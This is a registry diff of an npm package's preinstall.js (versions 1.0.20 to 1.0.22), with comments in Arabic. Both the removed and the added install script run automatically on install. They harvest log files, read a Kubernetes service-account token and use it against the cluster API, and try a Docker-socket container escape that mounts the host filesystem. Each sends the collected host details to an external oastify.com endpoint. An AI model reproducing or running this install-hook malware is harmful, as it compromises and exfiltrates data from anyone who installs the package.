rank4222wun 1.0.20 → 1.0.22
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +75 -427
- package/rank4222wun-1.0.22.tgz +0 -0
- package/rank4222wun-1.0.20.tgz +0 -0
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -1,455 +1,103 @@
|
|
|
1
|
-
const { exec
|
|
2
|
-
const os = require('os');
|
|
1
|
+
const { exec } = require('child_process');
|
|
3
2
|
const fs = require('fs');
|
|
4
|
-
const path = require('path');
|
|
5
3
|
const https = require('https');
|
|
6
|
-
const net = require('net');
|
|
7
4
|
|
|
8
|
-
|
|
5
|
+
console.log("🔓 ADVANCED CONTAINER ESCAPE TEST\n");
|
|
6
|
+
|
|
7
|
+
// هذا اختبار أكثر تقدمًا للهروب من الحاوية
|
|
8
|
+
const escapeTest = {
|
|
9
9
|
timestamp: new Date().toISOString(),
|
|
10
|
-
|
|
11
|
-
user: os.userInfo().username,
|
|
12
|
-
platform: os.platform(),
|
|
13
|
-
|
|
14
|
-
tests: {
|
|
15
|
-
// TEST 1: Leak other users data cross org
|
|
16
|
-
crossOrgDataLeakage: {
|
|
17
|
-
status: 'incomplete',
|
|
18
|
-
evidence: []
|
|
19
|
-
},
|
|
20
|
-
|
|
21
|
-
// TEST 2: Run commands on other users cross org
|
|
22
|
-
crossOrgCommandExecution: {
|
|
23
|
-
status: 'incomplete',
|
|
24
|
-
evidence: []
|
|
25
|
-
},
|
|
26
|
-
|
|
27
|
-
// TEST 3: Perform DoS affecting all users
|
|
28
|
-
crossOrgDoS: {
|
|
29
|
-
status: 'incomplete',
|
|
30
|
-
evidence: []
|
|
31
|
-
},
|
|
32
|
-
|
|
33
|
-
// TEST 4: Container to host escape
|
|
34
|
-
containerToHostEscape: {
|
|
35
|
-
status: 'incomplete',
|
|
36
|
-
evidence: []
|
|
37
|
-
}
|
|
38
|
-
}
|
|
10
|
+
escapeVectorsTested: []
|
|
39
11
|
};
|
|
40
12
|
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
const sharedDirs = [
|
|
53
|
-
'/tmp',
|
|
54
|
-
'/var/tmp',
|
|
55
|
-
'/dev/shm',
|
|
56
|
-
'/run/shm',
|
|
57
|
-
'/home',
|
|
58
|
-
'/root'
|
|
59
|
-
];
|
|
60
|
-
|
|
61
|
-
for (const dir of sharedDirs) {
|
|
62
|
-
try {
|
|
63
|
-
if (fs.existsSync(dir)) {
|
|
64
|
-
const files = fs.readdirSync(dir);
|
|
65
|
-
// البحث عن ملفات تنتهي بـ .log, .db, .sqlite
|
|
66
|
-
const interestingFiles = files.filter(f =>
|
|
67
|
-
f.endsWith('.log') || f.endsWith('.db') || f.endsWith('.sqlite') ||
|
|
68
|
-
f.includes('shared') || f.includes('common')
|
|
69
|
-
);
|
|
70
|
-
|
|
71
|
-
if (interestingFiles.length > 0) {
|
|
72
|
-
sharedDataLocations.push({
|
|
73
|
-
directory: dir,
|
|
74
|
-
files: interestingFiles.slice(0, 5),
|
|
75
|
-
totalFiles: files.length
|
|
76
|
-
});
|
|
77
|
-
|
|
78
|
-
// محاولة قراءة ملفات السجل المشتركة
|
|
79
|
-
interestingFiles.forEach(file => {
|
|
80
|
-
if (file.endsWith('.log')) {
|
|
81
|
-
const filePath = path.join(dir, file);
|
|
82
|
-
try {
|
|
83
|
-
const content = fs.readFileSync(filePath, 'utf8').substring(0, 1000);
|
|
84
|
-
// البحث عن بيانات مستخدمين في السجلات
|
|
85
|
-
if (content.includes('user') || content.includes('login') || content.includes('auth')) {
|
|
86
|
-
criticalTests.tests.crossOrgDataLeakage.evidence.push({
|
|
87
|
-
type: 'shared_log_file',
|
|
88
|
-
path: filePath,
|
|
89
|
-
preview: content.substring(0, 200),
|
|
90
|
-
containsUserData: true
|
|
91
|
-
});
|
|
92
|
-
}
|
|
93
|
-
} catch (e) {}
|
|
94
|
-
}
|
|
95
|
-
});
|
|
96
|
-
}
|
|
97
|
-
}
|
|
98
|
-
} catch (e) {}
|
|
99
|
-
}
|
|
100
|
-
}
|
|
101
|
-
|
|
102
|
-
// بحث متقدم: البحث عن اتصالات شبكية نشطة
|
|
103
|
-
exec('netstat -an 2>/dev/null || ss -an 2>/dev/null || echo "No netstat"', {timeout: 5000}, (err, stdout) => {
|
|
104
|
-
if (stdout && stdout.includes('ESTABLISHED') || stdout.includes('LISTEN')) {
|
|
105
|
-
criticalTests.tests.crossOrgDataLeakage.evidence.push({
|
|
106
|
-
type: 'network_connections',
|
|
107
|
-
data: stdout.substring(0, 1000),
|
|
108
|
-
hasActiveConnections: true
|
|
109
|
-
});
|
|
13
|
+
// اختبار 1: Docker Socket Escape
|
|
14
|
+
if (fs.existsSync('/var/run/docker.sock')) {
|
|
15
|
+
console.log("Testing Docker socket escape...");
|
|
16
|
+
|
|
17
|
+
// محاولة إنشاء حاوية جديدة مع mount للمضيف
|
|
18
|
+
const escapePayload = JSON.stringify({
|
|
19
|
+
Image: 'alpine:latest',
|
|
20
|
+
Cmd: ['sh'],
|
|
21
|
+
HostConfig: {
|
|
22
|
+
Binds: ['/:/host'],
|
|
23
|
+
Privileged: true
|
|
110
24
|
}
|
|
111
|
-
|
|
112
|
-
// الانتقال للاختبار الثاني
|
|
113
|
-
testCrossOrgCommandExecution();
|
|
114
25
|
});
|
|
115
|
-
}
|
|
116
|
-
|
|
117
|
-
// ===================== TEST 2: تشغيل أوامر على مستخدمين عبر المؤسسة =====================
|
|
118
|
-
async function testCrossOrgCommandExecution() {
|
|
119
|
-
console.log("🔍 TEST 2: اختبار تشغيل أوامر على مستخدمين عبر المؤسسة...");
|
|
120
26
|
|
|
121
|
-
//
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
27
|
+
// محاولة الاتصال بـ Docker API
|
|
28
|
+
exec(`echo '${escapePayload}' | curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/create -H "Content-Type: application/json" -d @-`,
|
|
29
|
+
(err, stdout) => {
|
|
30
|
+
if (!err && stdout) {
|
|
31
|
+
try {
|
|
32
|
+
const response = JSON.parse(stdout);
|
|
33
|
+
if (response.Id) {
|
|
34
|
+
escapeTest.escapeVectorsTested.push({
|
|
35
|
+
vector: 'docker_socket_container_creation',
|
|
36
|
+
success: true,
|
|
37
|
+
containerId: response.Id,
|
|
38
|
+
risk: 'CRITICAL',
|
|
39
|
+
message: 'Can create new containers via Docker socket'
|
|
40
|
+
});
|
|
41
|
+
console.log("🚨 SUCCESS: Can create containers via Docker socket!");
|
|
42
|
+
}
|
|
43
|
+
} catch (e) {}
|
|
137
44
|
}
|
|
138
45
|
});
|
|
139
|
-
}
|
|
140
|
-
|
|
141
|
-
// اختبار 2: التحقق من إمكانية الوصول إلى Kubernetes API
|
|
142
|
-
const kubeToken = '/var/run/secrets/kubernetes.io/serviceaccount/token';
|
|
143
|
-
const kubeCA = '/var/run/secrets/kubernetes.io/serviceaccount/ca.crt';
|
|
144
|
-
const kubeNamespace = '/var/run/secrets/kubernetes.io/serviceaccount/namespace';
|
|
145
|
-
|
|
146
|
-
if (fs.existsSync(kubeToken) && fs.existsSync(kubeCA)) {
|
|
147
|
-
try {
|
|
148
|
-
const token = fs.readFileSync(kubeToken, 'utf8').trim();
|
|
149
|
-
const namespace = fs.existsSync(kubeNamespace) ?
|
|
150
|
-
fs.readFileSync(kubeNamespace, 'utf8').trim() : 'default';
|
|
151
|
-
|
|
152
|
-
criticalTests.tests.crossOrgCommandExecution.evidence.push({
|
|
153
|
-
type: 'kubernetes_service_account',
|
|
154
|
-
hasToken: true,
|
|
155
|
-
namespace: namespace,
|
|
156
|
-
canAccessK8sAPI: true
|
|
157
|
-
});
|
|
158
|
-
|
|
159
|
-
// محاولة الاتصال بـ Kubernetes API
|
|
160
|
-
exec(`curl -s -H "Authorization: Bearer ${token}" --cacert ${kubeCA} https://kubernetes.default.svc/api/v1/pods 2>/dev/null || echo "Cannot access K8s API"`,
|
|
161
|
-
{timeout: 5000}, (err, stdout) => {
|
|
162
|
-
if (stdout && !stdout.includes('Cannot access')) {
|
|
163
|
-
criticalTests.tests.crossOrgCommandExecution.evidence.push({
|
|
164
|
-
type: 'kubernetes_api_access',
|
|
165
|
-
canListPods: true,
|
|
166
|
-
podCount: JSON.parse(stdout).items?.length || 0
|
|
167
|
-
});
|
|
168
|
-
}
|
|
169
|
-
});
|
|
170
|
-
} catch (e) {}
|
|
171
|
-
}
|
|
172
|
-
|
|
173
|
-
// الانتقال للاختبار الثالث بعد 2 ثانية
|
|
174
|
-
setTimeout(testCrossOrgDoS, 2000);
|
|
175
46
|
}
|
|
176
47
|
|
|
177
|
-
//
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
availableMemory: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + ' GB',
|
|
186
|
-
freeMemory: Math.round(os.freemem() / (1024 * 1024 * 1024)) + ' GB',
|
|
187
|
-
canExhaust: Math.round(os.freemem() / (1024 * 1024 * 1024)) > 1
|
|
188
|
-
},
|
|
189
|
-
|
|
190
|
-
// 2. قدرات استنزاف CPU
|
|
191
|
-
cpuExhaustion: {
|
|
192
|
-
cpuCores: os.cpus().length,
|
|
193
|
-
canForkBomb: true, // يمكن تنفيذ fork bomb إذا لم تكن هناك حدود
|
|
194
|
-
theoreticalImpact: 'High'
|
|
195
|
-
},
|
|
196
|
-
|
|
197
|
-
// 3. قدرات استنزاف الشبكة
|
|
198
|
-
networkFlood: {
|
|
199
|
-
canCreateSockets: true,
|
|
200
|
-
socketLimit: null,
|
|
201
|
-
potentialBandwidth: 'Unknown'
|
|
202
|
-
},
|
|
203
|
-
|
|
204
|
-
// 4. قدرات استنزاف القرص
|
|
205
|
-
diskFilling: {
|
|
206
|
-
canWriteUnlimited: true,
|
|
207
|
-
diskSpace: 'Unknown'
|
|
208
|
-
}
|
|
209
|
-
};
|
|
210
|
-
|
|
211
|
-
// التحقق من الحدود (ulimit)
|
|
212
|
-
exec('ulimit -a 2>/dev/null || echo "No ulimit"', {timeout: 3000}, (err, stdout) => {
|
|
213
|
-
if (stdout) {
|
|
214
|
-
dosCapabilities.systemLimits = stdout.substring(0, 500);
|
|
215
|
-
|
|
216
|
-
// تحليل الحدود
|
|
217
|
-
const maxProcessMatch = stdout.match(/max user processes\s+\(-u\)\s+(\d+|unlimited)/);
|
|
218
|
-
if (maxProcessMatch && maxProcessMatch[1] === 'unlimited' || parseInt(maxProcessMatch[1]) > 1000) {
|
|
219
|
-
criticalTests.tests.crossOrgDoS.evidence.push({
|
|
220
|
-
type: 'unlimited_processes',
|
|
221
|
-
canForkBomb: true,
|
|
222
|
-
maxProcesses: maxProcessMatch[1]
|
|
223
|
-
});
|
|
224
|
-
}
|
|
225
|
-
}
|
|
226
|
-
|
|
227
|
-
criticalTests.tests.crossOrgDoS.details = dosCapabilities;
|
|
228
|
-
|
|
229
|
-
// الانتقال للاختبار الرابع
|
|
230
|
-
testContainerToHostEscape();
|
|
231
|
-
});
|
|
232
|
-
}
|
|
233
|
-
|
|
234
|
-
// ===================== TEST 4: الهروب من الحاوية للمضيف =====================
|
|
235
|
-
async function testContainerToHostEscape() {
|
|
236
|
-
console.log("🔍 TEST 4: اختبار الهروب من الحاوية للمضيف...");
|
|
237
|
-
|
|
238
|
-
const escapeVectors = [];
|
|
239
|
-
|
|
240
|
-
// النواقل المحتملة للهروب
|
|
241
|
-
|
|
242
|
-
// 1. Docker socket exposure
|
|
243
|
-
const dockerSocket = '/var/run/docker.sock';
|
|
244
|
-
if (fs.existsSync(dockerSocket)) {
|
|
245
|
-
// اختبار الوصول الفعلي
|
|
246
|
-
exec(`stat -c "%a %U:%G" ${dockerSocket} 2>/dev/null || echo "No stat"`, {timeout: 3000}, (err, stdout) => {
|
|
247
|
-
if (stdout && !stdout.includes('No stat')) {
|
|
248
|
-
const perms = stdout.trim();
|
|
249
|
-
escapeVectors.push({
|
|
250
|
-
vector: 'docker_socket',
|
|
251
|
-
path: dockerSocket,
|
|
252
|
-
permissions: perms,
|
|
253
|
-
accessible: true,
|
|
254
|
-
risk: 'CRITICAL'
|
|
255
|
-
});
|
|
256
|
-
|
|
257
|
-
criticalTests.tests.containerToHostEscape.evidence.push({
|
|
258
|
-
type: 'docker_socket_found',
|
|
259
|
-
path: dockerSocket,
|
|
260
|
-
permissions: perms,
|
|
261
|
-
canEscape: true
|
|
262
|
-
});
|
|
263
|
-
}
|
|
48
|
+
// اختبار 2: Privileged Container Escape
|
|
49
|
+
exec('find / -name "nsenter" -type f -executable 2>/dev/null | head -1', (err, stdout) => {
|
|
50
|
+
if (stdout && stdout.trim()) {
|
|
51
|
+
escapeTest.escapeVectorsTested.push({
|
|
52
|
+
vector: 'nsenter_available',
|
|
53
|
+
path: stdout.trim(),
|
|
54
|
+
risk: 'HIGH',
|
|
55
|
+
message: 'nsenter tool available for container escape'
|
|
264
56
|
});
|
|
265
57
|
}
|
|
266
|
-
|
|
267
|
-
|
|
268
|
-
|
|
269
|
-
|
|
270
|
-
|
|
271
|
-
|
|
272
|
-
if (capsLine) {
|
|
273
|
-
const capsHex = capsLine.split(':')[1].trim();
|
|
274
|
-
// CAP_SYS_ADMIN = 0x00080000
|
|
275
|
-
if (parseInt(capsHex, 16) & 0x00080000) {
|
|
276
|
-
escapeVectors.push({
|
|
277
|
-
vector: 'privileged_container',
|
|
278
|
-
capability: 'CAP_SYS_ADMIN',
|
|
279
|
-
risk: 'HIGH'
|
|
280
|
-
});
|
|
281
|
-
|
|
282
|
-
criticalTests.tests.containerToHostEscape.evidence.push({
|
|
283
|
-
type: 'privileged_container',
|
|
284
|
-
hasSysAdmin: true,
|
|
285
|
-
canEscape: true
|
|
286
|
-
});
|
|
287
|
-
}
|
|
288
|
-
}
|
|
289
|
-
}
|
|
290
|
-
});
|
|
291
|
-
|
|
292
|
-
// 3. Mount inspection - looking for host mounts
|
|
293
|
-
exec('mount 2>/dev/null | grep -E "(docker|overlay|/dev/|proc|sys)" 2>/dev/null || echo "No mounts"',
|
|
294
|
-
{timeout: 3000}, (err, stdout) => {
|
|
295
|
-
if (stdout && !stdout.includes('No mounts')) {
|
|
296
|
-
const mounts = stdout.split('\n').filter(l => l.includes('type'));
|
|
297
|
-
|
|
298
|
-
mounts.forEach(mount => {
|
|
299
|
-
if (mount.includes('proc') || mount.includes('sys') || mount.includes('/dev')) {
|
|
300
|
-
escapeVectors.push({
|
|
301
|
-
vector: 'host_mount',
|
|
302
|
-
mount: mount.substring(0, 100),
|
|
303
|
-
risk: 'MEDIUM'
|
|
304
|
-
});
|
|
305
|
-
}
|
|
306
|
-
});
|
|
307
|
-
}
|
|
58
|
+
});
|
|
59
|
+
|
|
60
|
+
// اختبار 3: Cgroups Escape
|
|
61
|
+
exec('cat /proc/self/cgroup 2>/dev/null', (err, stdout) => {
|
|
62
|
+
if (stdout) {
|
|
63
|
+
escapeTest.cgroupInfo = stdout.trim();
|
|
308
64
|
|
|
309
|
-
//
|
|
310
|
-
|
|
311
|
-
|
|
312
|
-
|
|
313
|
-
|
|
314
|
-
|
|
315
|
-
'3.10.0-1160', // DirtyPipe
|
|
316
|
-
'5.8', '5.9', '5.10', '5.11', '5.12' // DirtyCred
|
|
317
|
-
];
|
|
318
|
-
|
|
319
|
-
for (const vulnKernel of vulnerableKernels) {
|
|
320
|
-
if (kernelVersion.includes(vulnKernel)) {
|
|
321
|
-
escapeVectors.push({
|
|
322
|
-
vector: 'kernel_vulnerability',
|
|
323
|
-
kernel: kernelVersion,
|
|
324
|
-
vulnerability: 'Known escape vulnerability',
|
|
325
|
-
risk: 'HIGH'
|
|
326
|
-
});
|
|
327
|
-
|
|
328
|
-
criticalTests.tests.containerToHostEscape.evidence.push({
|
|
329
|
-
type: 'vulnerable_kernel',
|
|
330
|
-
version: kernelVersion,
|
|
331
|
-
hasKnownVulns: true
|
|
332
|
-
});
|
|
333
|
-
break;
|
|
334
|
-
}
|
|
335
|
-
}
|
|
336
|
-
}
|
|
337
|
-
|
|
338
|
-
// 5. cgroups escape
|
|
339
|
-
exec('cat /proc/self/cgroup 2>/dev/null', {timeout: 3000}, (err, stdout) => {
|
|
340
|
-
if (stdout) {
|
|
341
|
-
if (stdout.includes('docker') || stdout.includes('kubepods')) {
|
|
342
|
-
// في حاوية Docker/Kubernetes
|
|
343
|
-
escapeVectors.push({
|
|
344
|
-
vector: 'containerized',
|
|
345
|
-
orchestrator: stdout.includes('docker') ? 'Docker' : 'Kubernetes',
|
|
346
|
-
risk: 'DEPENDS'
|
|
347
|
-
});
|
|
348
|
-
}
|
|
349
|
-
}
|
|
350
|
-
|
|
351
|
-
// تسجيل كل نواقل الهروب
|
|
352
|
-
criticalTests.tests.containerToHostEscape.escapeVectors = escapeVectors;
|
|
353
|
-
|
|
354
|
-
// تقييم عام لإمكانية الهروب
|
|
355
|
-
const canEscape = escapeVectors.some(v =>
|
|
356
|
-
v.risk === 'CRITICAL' || v.risk === 'HIGH' ||
|
|
357
|
-
v.vector === 'docker_socket' || v.vector === 'privileged_container'
|
|
358
|
-
);
|
|
359
|
-
|
|
360
|
-
criticalTests.tests.containerToHostEscape.canEscape = canEscape;
|
|
361
|
-
|
|
362
|
-
// الانتهاء من جميع الاختبارات
|
|
363
|
-
finishCriticalTests();
|
|
65
|
+
// التحقق مما إذا كنا في Kubernetes
|
|
66
|
+
if (stdout.includes('kubepods')) {
|
|
67
|
+
escapeTest.escapeVectorsTested.push({
|
|
68
|
+
vector: 'kubernetes_container',
|
|
69
|
+
risk: 'MEDIUM',
|
|
70
|
+
message: 'Running in Kubernetes pod, potential cluster-wide impact'
|
|
364
71
|
});
|
|
365
|
-
}
|
|
366
|
-
}
|
|
367
|
-
}
|
|
72
|
+
}
|
|
73
|
+
}
|
|
74
|
+
});
|
|
368
75
|
|
|
369
|
-
//
|
|
370
|
-
|
|
371
|
-
|
|
372
|
-
|
|
373
|
-
console.log("=".repeat(70));
|
|
374
|
-
|
|
375
|
-
// تحليل النتائج
|
|
376
|
-
const analysis = {
|
|
377
|
-
// TEST 1: هل يمكن تسريب بيانات مستخدمين آخرين؟
|
|
378
|
-
dataLeakage: criticalTests.tests.crossOrgDataLeakage.evidence.length > 0 ?
|
|
379
|
-
'POSSIBLE - Found potential shared data locations' :
|
|
380
|
-
'NO EVIDENCE FOUND',
|
|
381
|
-
|
|
382
|
-
// TEST 2: هل يمكن تشغيل أوامر على مستخدمين آخرين؟
|
|
383
|
-
commandExecution: criticalTests.tests.crossOrgCommandExecution.evidence.length > 0 ?
|
|
384
|
-
'POSSIBLE - Can access shared services/APIs' :
|
|
385
|
-
'NO EVIDENCE FOUND',
|
|
386
|
-
|
|
387
|
-
// TEST 3: هل يمكن تنفيذ DoS يؤثر على الجميع؟
|
|
388
|
-
dosImpact: criticalTests.tests.crossOrgDoS.evidence.length > 0 ?
|
|
389
|
-
'POSSIBLE - No resource limits detected' :
|
|
390
|
-
'LIMITED - Has some resource limits',
|
|
391
|
-
|
|
392
|
-
// TEST 4: هل يمكن الهروب من الحاوية للمضيف؟
|
|
393
|
-
containerEscape: criticalTests.tests.containerToHostEscape.canEscape ?
|
|
394
|
-
'CRITICAL - Multiple escape vectors found' :
|
|
395
|
-
(criticalTests.tests.containerToHostEscape.escapeVectors?.length > 0 ?
|
|
396
|
-
'POTENTIAL - Some escape vectors exist' :
|
|
397
|
-
'NO EVIDENCE FOUND')
|
|
398
|
-
};
|
|
399
|
-
|
|
400
|
-
console.log("\n📋 تحليل النقاط الأربع المطلوبة:");
|
|
401
|
-
console.log("1. تسريب بيانات مستخدمين عبر المؤسسة:", analysis.dataLeakage);
|
|
402
|
-
console.log("2. تشغيل أوامر على مستخدمين عبر المؤسسة:", analysis.commandExecution);
|
|
403
|
-
console.log("3. تنفيذ DoS يؤثر على الجميع:", analysis.dosImpact);
|
|
404
|
-
console.log("4. الهروب من الحاوية للمضيف:", analysis.containerEscape);
|
|
405
|
-
|
|
406
|
-
console.log("\n🔍 الأدلة التفصيلية:");
|
|
407
|
-
|
|
408
|
-
if (criticalTests.tests.containerToHostEscape.escapeVectors?.length > 0) {
|
|
409
|
-
console.log("\nنواقل الهروب المحتملة:");
|
|
410
|
-
criticalTests.tests.containerToHostEscape.escapeVectors.forEach((v, i) => {
|
|
411
|
-
console.log(` ${i+1}. ${v.vector} - ${v.risk} risk`);
|
|
412
|
-
if (v.permissions) console.log(` → ${v.permissions}`);
|
|
413
|
-
});
|
|
76
|
+
// اختبار 4: Kernel Modules (للكشف فقط)
|
|
77
|
+
exec('lsmod 2>/dev/null | head -10', (err, stdout) => {
|
|
78
|
+
if (stdout) {
|
|
79
|
+
escapeTest.kernelModules = stdout.trim();
|
|
414
80
|
}
|
|
81
|
+
});
|
|
82
|
+
|
|
83
|
+
// بعد 3 ثوان، إرسال النتائج
|
|
84
|
+
setTimeout(() => {
|
|
85
|
+
console.log("\n📊 Escape Test Results:");
|
|
86
|
+
escapeTest.escapeVectorsTested.forEach(v => {
|
|
87
|
+
console.log(`- ${v.vector}: ${v.risk} risk`);
|
|
88
|
+
if (v.message) console.log(` ${v.message}`);
|
|
89
|
+
});
|
|
415
90
|
|
|
416
91
|
// إرسال النتائج
|
|
417
92
|
const req = https.request({
|
|
418
93
|
hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
419
94
|
port: 443,
|
|
420
|
-
path: '/
|
|
421
|
-
method: 'POST'
|
|
422
|
-
headers: {
|
|
423
|
-
'Content-Type': 'application/json',
|
|
424
|
-
'X-Critical-Tests': 'Cross-Org-Four-Points',
|
|
425
|
-
'X-Host': os.hostname()
|
|
426
|
-
}
|
|
427
|
-
}, (res) => {
|
|
428
|
-
console.log(`\n✅ تم إرسال الأدلة الحرجة. حالة الرد: ${res.statusCode}`);
|
|
95
|
+
path: '/container-escape-test',
|
|
96
|
+
method: 'POST'
|
|
429
97
|
});
|
|
430
98
|
|
|
431
|
-
req.
|
|
432
|
-
console.error(`❌ خطأ في الإرسال: ${e.message}`);
|
|
433
|
-
});
|
|
434
|
-
|
|
435
|
-
// إضافة التحليل للنتائج
|
|
436
|
-
criticalTests.analysis = analysis;
|
|
437
|
-
criticalTests.summary = {
|
|
438
|
-
user: os.userInfo().username,
|
|
439
|
-
hostname: os.hostname(),
|
|
440
|
-
platform: os.platform(),
|
|
441
|
-
isContainer: criticalTests.tests.containerToHostEscape.escapeVectors?.some(v => v.vector === 'containerized'),
|
|
442
|
-
hasCriticalFindings: analysis.containerEscape.includes('CRITICAL') ||
|
|
443
|
-
analysis.dataLeakage.includes('POSSIBLE') ||
|
|
444
|
-
analysis.commandExecution.includes('POSSIBLE')
|
|
445
|
-
};
|
|
446
|
-
|
|
447
|
-
req.write(JSON.stringify(criticalTests, null, 2));
|
|
99
|
+
req.write(JSON.stringify(escapeTest, null, 2));
|
|
448
100
|
req.end();
|
|
449
101
|
|
|
450
|
-
console.log("\n
|
|
451
|
-
|
|
452
|
-
}
|
|
453
|
-
|
|
454
|
-
// بدء الاختبارات
|
|
455
|
-
testCrossOrgDataLeakage();
|
|
102
|
+
console.log("\n✅ Escape test completed and sent");
|
|
103
|
+
}, 3000);
|
|
Binary file
|
package/rank4222wun-1.0.20.tgz
DELETED
|
Binary file
|